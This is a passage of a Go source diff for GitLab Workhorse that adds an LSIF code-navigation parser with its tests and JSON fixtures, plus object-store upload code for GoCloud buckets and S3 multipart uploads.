+ require.NoError(t, parser.Close())
+
+ extractZipFiles(t, tmpDir, zipFileName)
+}
+
+func extractZipFiles(t *testing.T, tmpDir, zipFileName string) {
+ zipReader, err := zip.OpenReader(zipFileName)
+ require.NoError(t, err)
+
+ for _, file := range zipReader.Reader.File {
+ zippedFile, err := file.Open()
+ require.NoError(t, err)
+ defer zippedFile.Close()
+
+ fileDir, fileName := filepath.Split(file.Name)
+ require.NoError(t, os.MkdirAll(filepath.Join(tmpDir, fileDir), os.ModePerm))
+
+ outputFile, err := os.Create(filepath.Join(tmpDir, fileDir, fileName))
+ require.NoError(t, err)
+ defer outputFile.Close()
+
+ _, err = io.Copy(outputFile, zippedFile)
+ require.NoError(t, err)
+ }
+}
diff --git a/workhorse/internal/lsif_transformer/parser/performance_test.go b/workhorse/internal/lsif_transformer/parser/performance_test.go
new file mode 100644
index 00000000000..5a12d90072f
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/performance_test.go
@@ -0,0 +1,47 @@
+package parser
+
+import (
+ "context"
+ "io"
+ "io/ioutil"
+ "os"
+ "runtime"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func BenchmarkGenerate(b *testing.B) {
+ filePath := "testdata/workhorse.lsif.zip"
+ tmpDir := filePath + ".tmp"
+ defer os.RemoveAll(tmpDir)
+
+ var memoryUsage float64
+ for i := 0; i < b.N; i++ {
+ memoryUsage += measureMemory(func() {
+ file, err := os.Open(filePath)
+ require.NoError(b, err)
+
+ parser, err := NewParser(context.Background(), file, Config{})
+ require.NoError(b, err)
+
+ _, err = io.Copy(ioutil.Discard, parser)
+ require.NoError(b, err)
+ require.NoError(b, parser.Close())
+ })
+ }
+
+ b.ReportMetric(memoryUsage/float64(b.N), "MiB/op")
+}
+
+func measureMemory(f func()) float64 {
+ var m, m1 runtime.MemStats
+ runtime.ReadMemStats(&m)
+
+ f()
+
+ runtime.ReadMemStats(&m1)
+ runtime.GC()
+
+ return float64(m1.Alloc-m.Alloc) / 1024 / 1024
+}
diff --git a/workhorse/internal/lsif_transformer/parser/ranges.go b/workhorse/internal/lsif_transformer/parser/ranges.go
new file mode 100644
index 00000000000..a11a66d70ca
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/ranges.go
@@ -0,0 +1,214 @@
+package parser
+
+import (
+ "encoding/json"
+ "errors"
+ "io"
+ "strconv"
+)
+
+const (
+ definitions = "definitions"
+ references = "references"
+)
+
+type Ranges struct {
+ DefRefs map[Id]Item
+ References *References
+ Hovers *Hovers
+ Cache *cache
+}
+
+type RawRange struct {
+ Id Id `json:"id"`
+ Data Range `json:"start"`
+}
+
+type Range struct {
+ Line int32 `json:"line"`
+ Character int32 `json:"character"`
+ RefId Id
+}
+
+type RawItem struct {
+ Property string `json:"property"`
+ RefId Id `json:"outV"`
+ RangeIds []Id `json:"inVs"`
+ DocId Id `json:"document"`
+}
+
+type Item struct {
+ Line int32
+ DocId Id
+}
+
+type SerializedRange struct {
+ StartLine int32 `json:"start_line"`
+ StartChar int32 `json:"start_char"`
+ DefinitionPath string `json:"definition_path,omitempty"`
+ Hover json.RawMessage `json:"hover"`
+ References []SerializedReference `json:"references,omitempty"`
+}
+
+func NewRanges(config Config) (*Ranges, error) {
+ hovers, err := NewHovers(config)
+ if err != nil {
+ return nil, err
+ }
+
+ references, err := NewReferences(config)
+ if err != nil {
+ return nil, err
+ }
+
+ cache, err := newCache(config.TempPath, "ranges", Range{})
+ if err != nil {
+ return nil, err
+ }
+
+ return &Ranges{
+ DefRefs: make(map[Id]Item),
+ References: references,
+ Hovers: hovers,
+ Cache: cache,
+ }, nil
+}
+
+func (r *Ranges) Read(label string, line []byte) error {
+ switch label {
+ case "range":
+ if err := r.addRange(line); err != nil {
+ return err
+ }
+ case "item":
+ if err := r.addItem(line); err != nil {
+ return err
+ }
+ default:
+ return r.Hovers.Read(label, line)
+ }
+
+ return nil
+}
+
+func (r *Ranges) Serialize(f io.Writer, rangeIds []Id, docs map[Id]string) error {
+ encoder := json.NewEncoder(f)
+ n := len(rangeIds)
+
+ if _, err := f.Write([]byte("[")); err != nil {
+ return err
+ }
+
+ for i, rangeId := range rangeIds {
+ entry, err := r.getRange(rangeId)
+ if err != nil {
+ continue
+ }
+
+ serializedRange := SerializedRange{
+ StartLine: entry.Line,
+ StartChar: entry.Character,
+ DefinitionPath: r.definitionPathFor(docs, entry.RefId),
+ Hover: r.Hovers.For(entry.RefId),
+ References: r.References.For(docs, entry.RefId),
+ }
+ if err := encoder.Encode(serializedRange); err != nil {
+ return err
+ }
+ if i+1 < n {
+ if _, err := f.Write([]byte(",")); err != nil {
+ return err
+ }
+ }
+ }
+
+ if _, err := f.Write([]byte("]")); err != nil {
+ return err
+ }
+
+ return nil
+}
+
+func (r *Ranges) Close() error {
+ return combineErrors(
+ r.Cache.Close(),
+ r.References.Close(),
+ r.Hovers.Close(),
+ )
+}
+
+func (r *Ranges) definitionPathFor(docs map[Id]string, refId Id) string {
+ defRef, ok := r.DefRefs[refId]
+ if !ok {
+ return ""
+ }
+
+ defPath := docs[defRef.DocId] + "#L" + strconv.Itoa(int(defRef.Line))
+
+ return defPath
+}
+
+func (r *Ranges) addRange(line []byte) error {
+ var rg RawRange
+ if err := json.Unmarshal(line, &rg); err != nil {
+ return err
+ }
+
+ return r.Cache.SetEntry(rg.Id, &rg.Data)
+}
+
+func (r *Ranges) addItem(line []byte) error {
+ var rawItem RawItem
+ if err := json.Unmarshal(line, &rawItem); err != nil {
+ return err
+ }
+
+ if rawItem.Property != definitions && rawItem.Property != references {
+ return nil
+ }
+
+ if len(rawItem.RangeIds) == 0 {
+ return errors.New("no range IDs")
+ }
+
+ var references []Item
+
+ for _, rangeId := range rawItem.RangeIds {
+ rg, err := r.getRange(rangeId)
+ if err != nil {
+ return err
+ }
+
+ rg.RefId = rawItem.RefId
+
+ if err := r.Cache.SetEntry(rangeId, rg); err != nil {
+ return err
+ }
+
+ item := Item{
+ Line: rg.Line + 1,
+ DocId: rawItem.DocId,
+ }
+
+ if rawItem.Property == definitions {
+ r.DefRefs[rawItem.RefId] = item
+ } else {
+ references = append(references, item)
+ }
+ }
+
+ if err := r.References.Store(rawItem.RefId, references); err != nil {
+ return err
+ }
+
+ return nil
+}
+
+func (r *Ranges) getRange(rangeId Id) (*Range, error) {
+ var rg Range
+ if err := r.Cache.Entry(rangeId, &rg); err != nil {
+ return nil, err
+ }
+
+ return &rg, nil
+}
diff --git a/workhorse/internal/lsif_transformer/parser/ranges_test.go b/workhorse/internal/lsif_transformer/parser/ranges_test.go
new file mode 100644
index 00000000000..c1400ba61da
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/ranges_test.go
@@ -0,0 +1,61 @@
+package parser
+
+import (
+ "bytes"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestRangesRead(t *testing.T) {
+ r, cleanup := setup(t)
+ defer cleanup()
+
+ firstRange := Range{Line: 1, Character: 2, RefId: 4}
+ rg, err := r.getRange(1)
+ require.NoError(t, err)
+ require.Equal(t, &firstRange, rg)
+
+ secondRange := Range{Line: 5, Character: 4, RefId: 4}
+ rg, err = r.getRange(2)
+ require.NoError(t, err)
+ require.Equal(t, &secondRange, rg)
+
+ thirdRange := Range{Line: 7, Character: 4, RefId: 4}
+ rg, err = r.getRange(3)
+ require.NoError(t, err)
+ require.Equal(t, &thirdRange, rg)
+}
+
+func TestSerialize(t *testing.T) {
+ r, cleanup := setup(t)
+ defer cleanup()
+
+ docs := map[Id]string{6: "def-path", 7: "ref-path"}
+
+ var buf bytes.Buffer
+ err := r.Serialize(&buf, []Id{1}, docs)
+ want := `[{"start_line":1,"start_char":2,"definition_path":"def-path#L2","hover":null,"references":[{"path":"ref-path#L6"},{"path":"ref-path#L8"}]}` + "\n]"
+
+ require.NoError(t, err)
+ require.Equal(t, want, buf.String())
+}
+
+func setup(t *testing.T) (*Ranges, func()) {
+ r, err := NewRanges(Config{})
+ require.NoError(t, err)
+
+ require.NoError(t, r.Read("range", []byte(`{"id":1,"label":"range","start":{"line":1,"character":2}}`)))
+ require.NoError(t, r.Read("range", []byte(`{"id":"2","label":"range","start":{"line":5,"character":4}}`)))
+ require.NoError(t, r.Read("range", []byte(`{"id":"3","label":"range","start":{"line":7,"character":4}}`)))
+
+ require.NoError(t, r.Read("item", []byte(`{"id":5,"label":"item","property":"definitions","outV":"4","inVs":[1],"document":"6"}`)))
+ require.NoError(t, r.Read("item", []byte(`{"id":"6","label":"item","property":"references","outV":4,"inVs":["2"],"document":"7"}`)))
+ require.NoError(t, r.Read("item", []byte(`{"id":"7","label":"item","property":"references","outV":4,"inVs":["3"],"document":"7"}`)))
+
+ cleanup := func() {
+ require.NoError(t, r.Close())
+ }
+
+ return r, cleanup
+}
diff --git a/workhorse/internal/lsif_transformer/parser/references.go b/workhorse/internal/lsif_transformer/parser/references.go
new file mode 100644
index 00000000000..58ff9a61c02
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/references.go
@@ -0,0 +1,107 @@
+package parser
+
+import (
+ "strconv"
+)
+
+type ReferencesOffset struct {
+ Id Id
+ Len int32
+}
+
+type References struct {
+ Items *cache
+ Offsets *cache
+ CurrentOffsetId Id
+}
+
+type SerializedReference struct {
+ Path string `json:"path"`
+}
+
+func NewReferences(config Config) (*References, error) {
+ tempPath := config.TempPath
+
+ items, err := newCache(tempPath, "references", Item{})
+ if err != nil {
+ return nil, err
+ }
+
+ offsets, err := newCache(tempPath, "references-offsets", ReferencesOffset{})
+ if err != nil {
+ return nil, err
+ }
+
+ return &References{
+ Items: items,
+ Offsets: offsets,
+ CurrentOffsetId: 0,
+ }, nil
+}
+
+// Store is responsible for keeping track of references that will be used when
+// serializing in `For`.
+//
+// The references are stored in a file to cache them. It is like
+// `map[Id][]Item` (where `Id` is `refId`) but relies on caching the array and
+// its offset in files for storage to reduce RAM usage. The items can be
+// fetched by calling `getItems`.
+func (r *References) Store(refId Id, references []Item) error {
+ size := len(references)
+
+ if size == 0 {
+ return nil
+ }
+
+ items := append(r.getItems(refId), references...)
+ err := r.Items.SetEntry(r.CurrentOffsetId, items)
+ if err != nil {
+ return err
+ }
+
+ size = len(items)
+ r.Offsets.SetEntry(refId, ReferencesOffset{Id: r.CurrentOffsetId, Len: int32(size)})
+ r.CurrentOffsetId += Id(size)
+
+ return nil
+}
+
+func (r *References) For(docs map[Id]string, refId Id) []SerializedReference {
+ references := r.getItems(refId)
+ if references == nil {
+ return nil
+ }
+
+ var serializedReferences []SerializedReference
+
+ for _, reference := range references {
+ serializedReference := SerializedReference{
+ Path: docs[reference.DocId] + "#L" + strconv.Itoa(int(reference.Line)),
+ }
+
+ serializedReferences = append(serializedReferences, serializedReference)
+ }
+
+ return serializedReferences
+}
+
+func (r *References) Close() error {
+ return combineErrors(
+ r.Items.Close(),
+ r.Offsets.Close(),
+ )
+}
+
+func (r *References) getItems(refId Id) []Item {
+ var offset ReferencesOffset
+ if err := r.Offsets.Entry(refId, &offset); err != nil || offset.Len == 0 {
+ return nil
+ }
+
+ items := make([]Item, offset.Len)
+ if err := r.Items.Entry(offset.Id, &items); err != nil {
+ return nil
+ }
+
+ return items
+}
diff --git a/workhorse/internal/lsif_transformer/parser/references_test.go b/workhorse/internal/lsif_transformer/parser/references_test.go
new file mode 100644
index 00000000000..7b47513bc53
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/references_test.go
@@ -0,0 +1,44 @@
+package parser
+
+import (
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestReferencesStore(t *testing.T) {
+ const (
+ docId = 1
+ refId = 3
+ )
+
+ r, err := NewReferences(Config{})
+ require.NoError(t, err)
+
+ err = r.Store(refId, []Item{{Line: 2, DocId: docId}, {Line: 3, DocId: docId}})
+ require.NoError(t, err)
+
+ docs := map[Id]string{docId: "doc.go"}
+ serializedReferences := r.For(docs, refId)
+
+ require.Contains(t, serializedReferences, SerializedReference{Path: "doc.go#L2"})
+ require.Contains(t, serializedReferences, SerializedReference{Path: "doc.go#L3"})
+
+ require.NoError(t, r.Close())
+}
+
+func TestReferencesStoreEmpty(t *testing.T) {
+ const refId = 3
+
+ r, err := NewReferences(Config{})
+ require.NoError(t, err)
+
+ err = r.Store(refId, []Item{})
+ require.NoError(t, err)
+
+ docs := map[Id]string{1: "doc.go"}
+ serializedReferences := r.For(docs, refId)
+
+ require.Nil(t, serializedReferences)
+ require.NoError(t, r.Close())
+}
diff --git a/workhorse/internal/lsif_transformer/parser/testdata/dump.lsif.zip b/workhorse/internal/lsif_transformer/parser/testdata/dump.lsif.zip
new file mode 100644
index 00000000000..e7c9ef2da66
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/testdata/dump.lsif.zip
Binary files differ
diff --git a/workhorse/internal/lsif_transformer/parser/testdata/expected/lsif/main.go.json b/workhorse/internal/lsif_transformer/parser/testdata/expected/lsif/main.go.json
new file mode 100644
index 00000000000..781cb78fc1a
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/testdata/expected/lsif/main.go.json
@@ -0,0 +1,208 @@
+[
+ {
+ "start_line": 7,
+ "start_char": 1,
+ "definition_path": "main.go#L4",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kn",
+ "value": "package"
+ },
+ {
+ "value": " "
+ },
+ {
+ "class": "s",
+ "value": "\"github.com/user/hello/morestrings\""
+ }
+ ]
+ ],
+ "language": "go"
+ },
+ {
+ "value": "Package morestrings implements additional functions to manipulate UTF-8 encoded strings, beyond what is provided in the standard \"strings\" package. \n\n"
+ }
+ ],
+ "references": [
+ {
+ "path": "main.go#L8"
+ },
+ {
+ "path": "main.go#L9"
+ }
+ ]
+ },
+ {
+ "start_line": 7,
+ "start_char": 13,
+ "definition_path": "morestrings/reverse.go#L12",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kd",
+ "value": "func"
+ },
+ {
+ "value": " Reverse(s "
+ },
+ {
+ "class": "kt",
+ "value": "string"
+ },
+ {
+ "value": ") "
+ },
+ {
+ "class": "kt",
+ "value": "string"
+ }
+ ]
+ ],
+ "language": "go"
+ },
+ {
+ "value": "This method reverses a string \n\n"
+ }
+ ],
+ "references": [
+ {
+ "path": "main.go#L8"
+ }
+ ]
+ },
+ {
+ "start_line": 8,
+ "start_char": 1,
+ "definition_path": "main.go#L4",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kn",
+ "value": "package"
+ },
+ {
+ "value": " "
+ },
+ {
+ "class": "s",
+ "value": "\"github.com/user/hello/morestrings\""
+ }
+ ]
+ ],
+ "language": "go"
+ },
+ {
+ "value": "Package morestrings implements additional functions to manipulate UTF-8 encoded strings, beyond what is provided in the standard \"strings\" package. \n\n"
+ }
+ ],
+ "references": [
+ {
+ "path": "main.go#L8"
+ },
+ {
+ "path": "main.go#L9"
+ }
+ ]
+ },
+ {
+ "start_line": 8,
+ "start_char": 13,
+ "definition_path": "morestrings/reverse.go#L5",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kd",
+ "value": "func"
+ },
+ {
+ "value": " Func2(i "
+ },
+ {
+ "class": "kt",
+ "value": "int"
+ },
+ {
+ "value": ") "
+ },
+ {
+ "class": "kt",
+ "value": "string"
+ }
+ ]
+ ],
+ "language": "go"
+ }
+ ],
+ "references": [
+ {
+ "path": "main.go#L9"
+ }
+ ]
+ },
+ {
+ "start_line": 6,
+ "start_char": 5,
+ "definition_path": "main.go#L7",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kd",
+ "value": "func"
+ },
+ {
+ "value": " main()"
+ }
+ ]
+ ],
+ "language": "go"
+ }
+ ]
+ },
+ {
+ "start_line": 3,
+ "start_char": 2,
+ "definition_path": "main.go#L4",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kn",
+ "value": "package"
+ },
+ {
+ "value": " "
+ },
+ {
+ "class": "s",
+ "value": "\"github.com/user/hello/morestrings\""
+ }
+ ]
+ ],
+ "language": "go"
+ },
+ {
+ "value": "Package morestrings implements additional functions to manipulate UTF-8 encoded strings, beyond what is provided in the standard \"strings\" package. \n\n"
+ }
+ ],
+ "references": [
+ {
+ "path": "main.go#L8"
+ },
+ {
+ "path": "main.go#L9"
+ }
+ ]
+ }
+] \ No newline at end of file
diff --git a/workhorse/internal/lsif_transformer/parser/testdata/expected/lsif/morestrings/reverse.go.json b/workhorse/internal/lsif_transformer/parser/testdata/expected/lsif/morestrings/reverse.go.json
new file mode 100644
index 00000000000..1d238413d53
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/testdata/expected/lsif/morestrings/reverse.go.json
@@ -0,0 +1,249 @@
+[
+ {
+ "start_line": 11,
+ "start_char": 5,
+ "definition_path": "morestrings/reverse.go#L12",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kd",
+ "value": "func"
+ },
+ {
+ "value": " Reverse(s "
+ },
+ {
+ "class": "kt",
+ "value": "string"
+ },
+ {
+ "value": ") "
+ },
+ {
+ "class": "kt",
+ "value": "string"
+ }
+ ]
+ ],
+ "language": "go"
+ },
+ {
+ "value": "This method reverses a string \n\n"
+ }
+ ],
+ "references": [
+ {
+ "path": "main.go#L8"
+ }
+ ]
+ },
+ {
+ "start_line": 4,
+ "start_char": 11,
+ "definition_path": "morestrings/reverse.go#L5",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kd",
+ "value": "var"
+ },
+ {
+ "value": " i "
+ },
+ {
+ "class": "kt",
+ "value": "int"
+ }
+ ]
+ ],
+ "language": "go"
+ }
+ ]
+ },
+ {
+ "start_line": 11,
+ "start_char": 13,
+ "definition_path": "morestrings/reverse.go#L12",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kd",
+ "value": "var"
+ },
+ {
+ "value": " s "
+ },
+ {
+ "class": "kt",
+ "value": "string"
+ }
+ ]
+ ],
+ "language": "go"
+ }
+ ]
+ },
+ {
+ "start_line": 12,
+ "start_char": 1,
+ "definition_path": "morestrings/reverse.go#L13",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kd",
+ "value": "var"
+ },
+ {
+ "value": " a "
+ },
+ {
+ "class": "kt",
+ "value": "string"
+ }
+ ]
+ ],
+ "language": "go"
+ }
+ ],
+ "references": [
+ {
+ "path": "morestrings/reverse.go#L15"
+ }
+ ]
+ },
+ {
+ "start_line": 5,
+ "start_char": 1,
+ "definition_path": "morestrings/reverse.go#L6",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kd",
+ "value": "var"
+ },
+ {
+ "value": " b "
+ },
+ {
+ "class": "kt",
+ "value": "string"
+ }
+ ]
+ ],
+ "language": "go"
+ }
+ ],
+ "references": [
+ {
+ "path": "morestrings/reverse.go#L8"
+ }
+ ]
+ },
+ {
+ "start_line": 14,
+ "start_char": 8,
+ "definition_path": "morestrings/reverse.go#L13",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kd",
+ "value": "var"
+ },
+ {
+ "value": " a "
+ },
+ {
+ "class": "kt",
+ "value": "string"
+ }
+ ]
+ ],
+ "language": "go"
+ }
+ ],
+ "references": [
+ {
+ "path": "morestrings/reverse.go#L15"
+ }
+ ]
+ },
+ {
+ "start_line": 7,
+ "start_char": 8,
+ "definition_path": "morestrings/reverse.go#L6",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kd",
+ "value": "var"
+ },
+ {
+ "value": " b "
+ },
+ {
+ "class": "kt",
+ "value": "string"
+ }
+ ]
+ ],
+ "language": "go"
+ }
+ ],
+ "references": [
+ {
+ "path": "morestrings/reverse.go#L8"
+ }
+ ]
+ },
+ {
+ "start_line": 4,
+ "start_char": 5,
+ "definition_path": "morestrings/reverse.go#L5",
+ "hover": [
+ {
+ "tokens": [
+ [
+ {
+ "class": "kd",
+ "value": "func"
+ },
+ {
+ "value": " Func2(i "
+ },
+ {
+ "class": "kt",
+ "value": "int"
+ },
+ {
+ "value": ") "
+ },
+ {
+ "class": "kt",
+ "value": "string"
+ }
+ ]
+ ],
+ "language": "go"
+ }
+ ],
+ "references": [
+ {
+ "path": "main.go#L9"
+ }
+ ]
+ }
+] \ No newline at end of file
diff --git a/workhorse/internal/lsif_transformer/parser/testdata/workhorse.lsif.zip b/workhorse/internal/lsif_transformer/parser/testdata/workhorse.lsif.zip
new file mode 100644
index 00000000000..76491ed8a93
--- /dev/null
+++ b/workhorse/internal/lsif_transformer/parser/testdata/workhorse.lsif.zip
Binary files differ
diff --git a/workhorse/internal/objectstore/gocloud_object.go b/workhorse/internal/objectstore/gocloud_object.go
new file mode 100644
index 00000000000..38545086994
--- /dev/null
+++ b/workhorse/internal/objectstore/gocloud_object.go
@@ -0,0 +1,100 @@
+package objectstore
+
+import (
+ "context"
+ "io"
+ "time"
+
+ "gitlab.com/gitlab-org/labkit/log"
+ "gocloud.dev/blob"
+ "gocloud.dev/gcerrors"
+)
+
+type GoCloudObject struct {
+ bucket *blob.Bucket
+ mux *blob.URLMux
+ bucketURL string
+ objectName string
+ *uploader
+}
+
+type GoCloudObjectParams struct {
+ Ctx context.Context
+ Mux *blob.URLMux
+ BucketURL string
+ ObjectName string
+}
+
+func NewGoCloudObject(p *GoCloudObjectParams) (*GoCloudObject, error) {
+ bucket, err := p.Mux.OpenBucket(p.Ctx, p.BucketURL)
+ if err != nil {
+ return nil, err
+ }
+
+ o := &GoCloudObject{
+ bucket: bucket,
+ mux: p.Mux,
+ bucketURL: p.BucketURL,
+ objectName: p.ObjectName,
+ }
+
+ o.uploader = newUploader(o)
+ return o, nil
+}
+
+func (o *GoCloudObject) Upload(ctx context.Context, r io.Reader) error {
+ defer o.bucket.Close()
+
+ writer, err := o.bucket.NewWriter(ctx, o.objectName, nil)
+ if err != nil {
+ log.ContextLogger(ctx).WithError(err).Error("error creating GoCloud bucket")
+ return err
+ }
+
+ if _, err = io.Copy(writer, r); err != nil {
+ log.ContextLogger(ctx).WithError(err).Error("error writing to GoCloud bucket")
+ writer.Close()
+ return err
+ }
+
+ if err := writer.Close(); err != nil {
+ log.ContextLogger(ctx).WithError(err).Error("error closing GoCloud bucket")
+ return err
+ }
+
+ return nil
+}
+
+func (o *GoCloudObject) ETag() string {
+ return ""
+}
+
+func (o *GoCloudObject) Abort() {
+ o.Delete()
+}
+
+// Delete will always attempt to delete the temporary file.
+// According to https://github.com/google/go-cloud/blob/7818961b5c9a112f7e092d3a2d8479cbca80d187/blob/azureblob/azureblob.go#L881-L883,
+// if the writer is closed before any Write is called, Close will create an empty file.
+func (o *GoCloudObject) Delete() {
+ if o.bucketURL == "" || o.objectName == "" {
+ return
+ }
+
+ // Note we can't use the request context because in a successful
+ // case, the original request has already completed.
+ deleteCtx, cancel := context.WithTimeout(context.Background(), 60*time.Second) // lint:allow context.Background
+ defer cancel()
+
+ bucket, err := o.mux.OpenBucket(deleteCtx, o.bucketURL)
+ if err != nil {
+ log.WithError(err).Error("error opening bucket for delete")
+ return
+ }
+
+ if err := bucket.Delete(deleteCtx, o.objectName); err != nil {
+ if gcerrors.Code(err) != gcerrors.NotFound {
+ log.WithError(err).Error("error deleting object")
+ }
+ }
+}
diff --git a/workhorse/internal/objectstore/gocloud_object_test.go b/workhorse/internal/objectstore/gocloud_object_test.go
new file mode 100644
index 00000000000..4dc9d2d75cc
--- /dev/null
+++ b/workhorse/internal/objectstore/gocloud_object_test.go
@@ -0,0 +1,56 @@
+package objectstore_test
+
+import (
+ "context"
+ "fmt"
+ "strings"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore/test"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+func TestGoCloudObjectUpload(t *testing.T) {
+ mux, _, cleanup := test.SetupGoCloudFileBucket(t, "azuretest")
+ defer cleanup()
+
+ ctx, cancel := context.WithCancel(context.Background())
+ deadline := time.Now().Add(testTimeout)
+
+ objectName := "test.png"
+ testURL := "azuretest://azure.example.com/test-container"
+ p := &objectstore.GoCloudObjectParams{Ctx: ctx, Mux: mux, BucketURL: testURL, ObjectName: objectName}
+ object, err := objectstore.NewGoCloudObject(p)
+ require.NotNil(t, object)
+ require.NoError(t, err)
+
+ // copy data
+ n, err := object.Consume(ctx, strings.NewReader(test.ObjectContent), deadline)
+ require.NoError(t, err)
+ require.Equal(t, test.ObjectSize, n, "Uploaded file mismatch")
+
+ bucket, err := mux.OpenBucket(ctx, testURL)
+ require.NoError(t, err)
+
+ // Verify the data was copied correctly.
+ received, err := bucket.ReadAll(ctx, objectName)
+ require.NoError(t, err)
+ require.Equal(t, []byte(test.ObjectContent), received)
+
+ cancel()
+
+ testhelper.Retry(t, 5*time.Second, func() error {
+ exists, err := bucket.Exists(ctx, objectName)
+ require.NoError(t, err)
+
+ if exists {
+ return fmt.Errorf("file %s is still present", objectName)
+ } else {
+ return nil
+ }
+ })
+}
diff --git a/workhorse/internal/objectstore/multipart.go b/workhorse/internal/objectstore/multipart.go
new file mode 100644
index 00000000000..fd1c0ed487d
--- /dev/null
+++ b/workhorse/internal/objectstore/multipart.go
@@ -0,0 +1,188 @@
+package objectstore
+
+import (
+ "bytes"
+ "context"
+ "encoding/xml"
+ "errors"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "net/http"
+ "os"
+
+ "gitlab.com/gitlab-org/labkit/log"
+ "gitlab.com/gitlab-org/labkit/mask"
+)
+
+// ErrNotEnoughParts will be used when writing more than size * len(partURLs)
+var ErrNotEnoughParts = errors.New("not enough Parts")
+
+// Multipart represents a MultipartUpload on a S3 compatible Object Store service.
+// It can be used as io.WriteCloser for uploading an object
+type Multipart struct {
+ PartURLs []string
+ // CompleteURL is a presigned URL for CompleteMultipartUpload
+ CompleteURL string
+ // AbortURL is a presigned URL for AbortMultipartUpload
+ AbortURL string
+ // DeleteURL is a presigned URL for RemoveObject
+ DeleteURL string
+ PutHeaders map[string]string
+ partSize int64
+ etag string
+
+ *uploader
+}
+
+// NewMultipart provides Multipart pointer that can be used for uploading. Data written will be split buffered on disk up to size bytes
+// then uploaded with S3 Upload Part. Once Multipart is Closed a final call to CompleteMultipartUpload will be sent.
+// In case of any error a call to AbortMultipartUpload will be made to cleanup all the resources
+func NewMultipart(partURLs []string, completeURL, abortURL, deleteURL string, putHeaders map[string]string, partSize int64) (*Multipart, error) {
+ m := &Multipart{
+ PartURLs: partURLs,
+ CompleteURL: completeURL,
+ AbortURL: abortURL,
+ DeleteURL: deleteURL,
+ PutHeaders: putHeaders,
+ partSize: partSize,
+ }
+
+ m.uploader = newUploader(m)
+ return m, nil
+}
+
+func (m *Multipart) Upload(ctx context.Context, r io.Reader) error {
+ cmu := &CompleteMultipartUpload{}
+ for i, partURL := range m.PartURLs {
+ src := io.LimitReader(r, m.partSize)
+ part, err := m.readAndUploadOnePart(ctx, partURL, m.PutHeaders, src, i+1)
+ if err != nil {
+ return err
+ }
+ if part == nil {
+ break
+ } else {
+ cmu.Part = append(cmu.Part, part)
+ }
+ }
+
+ n, err := io.Copy(ioutil.Discard, r)
+ if err != nil {
+ return fmt.Errorf("drain pipe: %v", err)
+ }
+ if n > 0 {
+ return ErrNotEnoughParts
+ }
+
+ if err := m.complete(ctx, cmu); err != nil {
+ return err
+ }
+
+ return nil
+}
+
+func (m *Multipart) ETag() string {
+ return m.etag
+}
+func (m *Multipart) Abort() {
+ deleteURL(m.AbortURL)
+}
+
+func (m *Multipart) Delete() {
+ deleteURL(m.DeleteURL)
+}
+
+func (m *Multipart) readAndUploadOnePart(ctx context.Context, partURL string, putHeaders map[string]string, src io.Reader, partNumber int) (*completeMultipartUploadPart, error) {
+ file, err := ioutil.TempFile("", "part-buffer")
+ if err != nil {
+ return nil, fmt.Errorf("create temporary buffer file: %v", err)
+ }
+ defer func(path string) {
+ if err := os.Remove(path); err != nil {
+ log.WithError(err).WithField("file", path).Warning("Unable to delete temporary file")
+ }
+ }(file.Name())
+
+ n, err := io.Copy(file, src)
+ if err != nil {
+ return nil, err
+ }
+ if n == 0 {
+ return nil, nil
+ }
+
+ if _, err = file.Seek(0, io.SeekStart); err != nil {
+ return nil, fmt.Errorf("rewind part %d temporary dump : %v", partNumber, err)
+ }
+
+ etag, err := m.uploadPart(ctx, partURL, putHeaders, file, n)
+ if err != nil {
+ return nil, fmt.Errorf("upload part %d: %v", partNumber, err)
+ }
+ return &completeMultipartUploadPart{PartNumber: partNumber, ETag: etag}, nil
+}
+
+func (m *Multipart) uploadPart(ctx context.Context, url string, headers map[string]string, body io.Reader, size int64) (string, error) {
+ deadline, ok := ctx.Deadline()
+ if !ok {
+ return "", fmt.Errorf("missing deadline")
+ }
+
+ part, err := newObject(url, "", headers, size, false)
+ if err != nil {
+ return "", err
+ }
+
+ if n, err := part.Consume(ctx, io.LimitReader(body, size), deadline); err != nil || n < size {
+ if err == nil {
+ err = io.ErrUnexpectedEOF
+ }
+ return "", err
+ }
+
+ return part.ETag(), nil
+}
+
+func (m *Multipart) complete(ctx context.Context, cmu *CompleteMultipartUpload) error {
+ body, err := xml.Marshal(cmu)
+ if err != nil {
+ return fmt.Errorf("marshal CompleteMultipartUpload request: %v", err)
+ }
+
+ req, err := http.NewRequest("POST", m.CompleteURL, bytes.NewReader(body))
+ if err != nil {
+ return fmt.Errorf("create CompleteMultipartUpload request: %v", err)
+ }
+ req.ContentLength = int64(len(body))
+ req.Header.Set("Content-Type", "application/xml")
+ req = req.WithContext(ctx)
+
+ resp, err := httpClient.Do(req)
+ if err != nil {
